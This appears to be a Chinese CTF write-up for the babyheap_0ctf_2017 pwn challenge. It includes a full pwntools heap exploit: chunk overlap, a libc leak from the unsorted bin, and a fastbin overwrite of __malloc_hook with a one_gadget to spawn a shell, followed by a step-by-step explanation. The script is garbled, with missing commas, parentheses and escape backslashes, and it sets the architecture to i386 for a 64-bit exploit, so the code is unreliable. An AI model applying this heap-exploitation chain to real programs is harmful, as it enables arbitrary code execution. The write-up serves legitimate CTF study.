CTF学习-PWN-堆块重叠打malloc_hook

题目

平台:BUUCTF

题目:babyheap_0ctf_2017

考点:堆块重叠打unsorted bin泄露main_arena+88地址 & 替换__malloc_hook为one_gadget

代码

from pwn import *
from LibcSearcher import *

context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = remote('node5.buuoj.cn', 29859)
p=process('./babyheap_0ctf_2017')
#p=gdb.debug('./babyheap_0ctf_2017','b main')
elf = ELF('./babyheap_0ctf_2017')
libc=ELF('./libc-2.23.so')

def debug():
    # gdb.attach(p)
    pause()


def alloc(size):
    p.sendlineafter(b"Command: "b"1")
    p.sendlineafter(b"Size: ", str(size))
 
def fill(idx, content):
    p.sendlineafter(b"Command: "b"2")
    p.sendlineafter(b"Index: ", str(idx))
    p.sendlineafter(b"Size: ", str(len(content)))
    p.sendafter(b"Content: ", content)
 
def free(idx):
    p.sendlineafter(b"Command: "b"3")
    p.sendlineafter(b"Index: ", str(idx))
 
def dump(idx):
    p.sendlineafter(b"Command: "b"4")
    p.sendlineafter(b"Index: ", str(idx))


alloc(0x80#0
alloc(0x80#1
alloc(0x80#2
alloc(0x80#3

free(1)
fill(0b'x00'*0x88 + p64(0x121))

alloc(0x110#1
fill(1b'x00'*0x88 + p64(0x91))

free(2)

dump(1)

main_arena_add88_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00')) #main_arena+88
main_arena_addr = main_arena_add88_addr-88
malloc_hook_addr = main_arena_addr - 0x10
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']

alloc(0x80#2
alloc(0x60#4
alloc(0x60#5

free(5)
fill(4b'x00'*0x68 + p64(0x71) + p64(malloc_hook_addr - 0x23))

alloc(0x60#5
alloc(0x60#6 -> malloc_hook

# ldd babyheap_0ctf_2017
# one_gadget /home/ubuntu/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6
one_gadget = libc_base + 0x4527a #local
one_gadget = libc_base + 0x4526a #remote

fill(6b'a'*0x13 + p64(one_gadget))

alloc(0x10)
p.interactive() 

分析

通过查看菜单,创建、删除、修改、打印功能,发现在修改功能中,可以定义输入的大小,那么如果修改时候输入的长度大于创建时定义的长度,就会产生堆块重叠问题

首先分配四个0x80的堆块,然后删除1号堆块

CTF学习-PWN-堆块重叠打malloc_hook

可以看到1号堆块已进入unsorted bin并且fd和bk指针指向main_arena+88

由于编辑函数长度没做限制,现在编辑0号堆块,覆盖写至1号堆块的大小为0x121

CTF学习-PWN-堆块重叠打malloc_hook

然后申请0x110大小的堆块,刚好把刚才修改大小的堆块从unsorted bin里拿回来了

CTF学习-PWN-堆块重叠打malloc_hook

但是由于申请空间后,里面的值被清零,所以下一个堆块的长度被覆盖掉了,我们通过手动修改1号块给他补回来

CTF学习-PWN-堆块重叠打malloc_hook

现在我们堆排布又回来了,同时刚好1号块完全覆盖过去了2号块

下一步free掉2号块,因为大小是0x80,所以会加入到unsorted bin链表上,也就是fd和bk指针会指向main_arena+88

然后打印1号块的内容,因为完全覆盖了2号块,所以main_arena+88的地址就被泄露出来了

CTF学习-PWN-堆块重叠打malloc_hook

接收泄露的地址,减去88就是main_arena的地址,往前减去0x10刚好发现就是malloc_hook的地址

CTF学习-PWN-堆块重叠打malloc_hook

泄露了malloc_hook跟给的libc计算一下偏移就得到了libc的基地址

然后申请一个0x80的堆块把刚才free掉的2号块补回来

再申请两个0x60的堆块准备往malloc_hook那迁移

CTF学习-PWN-堆块重叠打malloc_hook

然后free掉最后一个5号堆块,通过4号堆块的填充替换掉5号堆块的fd指针,使其指向malloc_hook-0x23的地址,是因为这个地址的大小处刚好为0x7f,能满足下一次分配0x60大小堆的条件

CTF学习-PWN-堆块重叠打malloc_hook
CTF学习-PWN-堆块重叠打malloc_hook

此时在fastbin的0x70也能看到指针的链子

CTF学习-PWN-堆块重叠打malloc_hook

再申请两个0x60大小的堆,第一个把刚才删掉的5号块补回来,然后下一个申请的堆就到了malloc_hook-0x23

通过one_gadget得到给的libc可以用的gadget,加上libc基址得到实际地址

分配过去的堆指针指向的是malloc_hook-0x23,由于堆头有0x10的结构体,实际开始输入内容的地址是malloc_hook-0x13,所以我们只需要填充0x13个字符然后就可以覆盖malloc_hook了

通过修改该堆内容完成malloc_hook的修改

CTF学习-PWN-堆块重叠打malloc_hook
CTF学习-PWN-堆块重叠打malloc_hook

最后再申请一个堆触发下malloc_hook即可执行one_gadget获取shell


原文始发于微信公众号(智佳网络安全):CTF学习-PWN-堆块重叠打malloc_hook

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300856.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!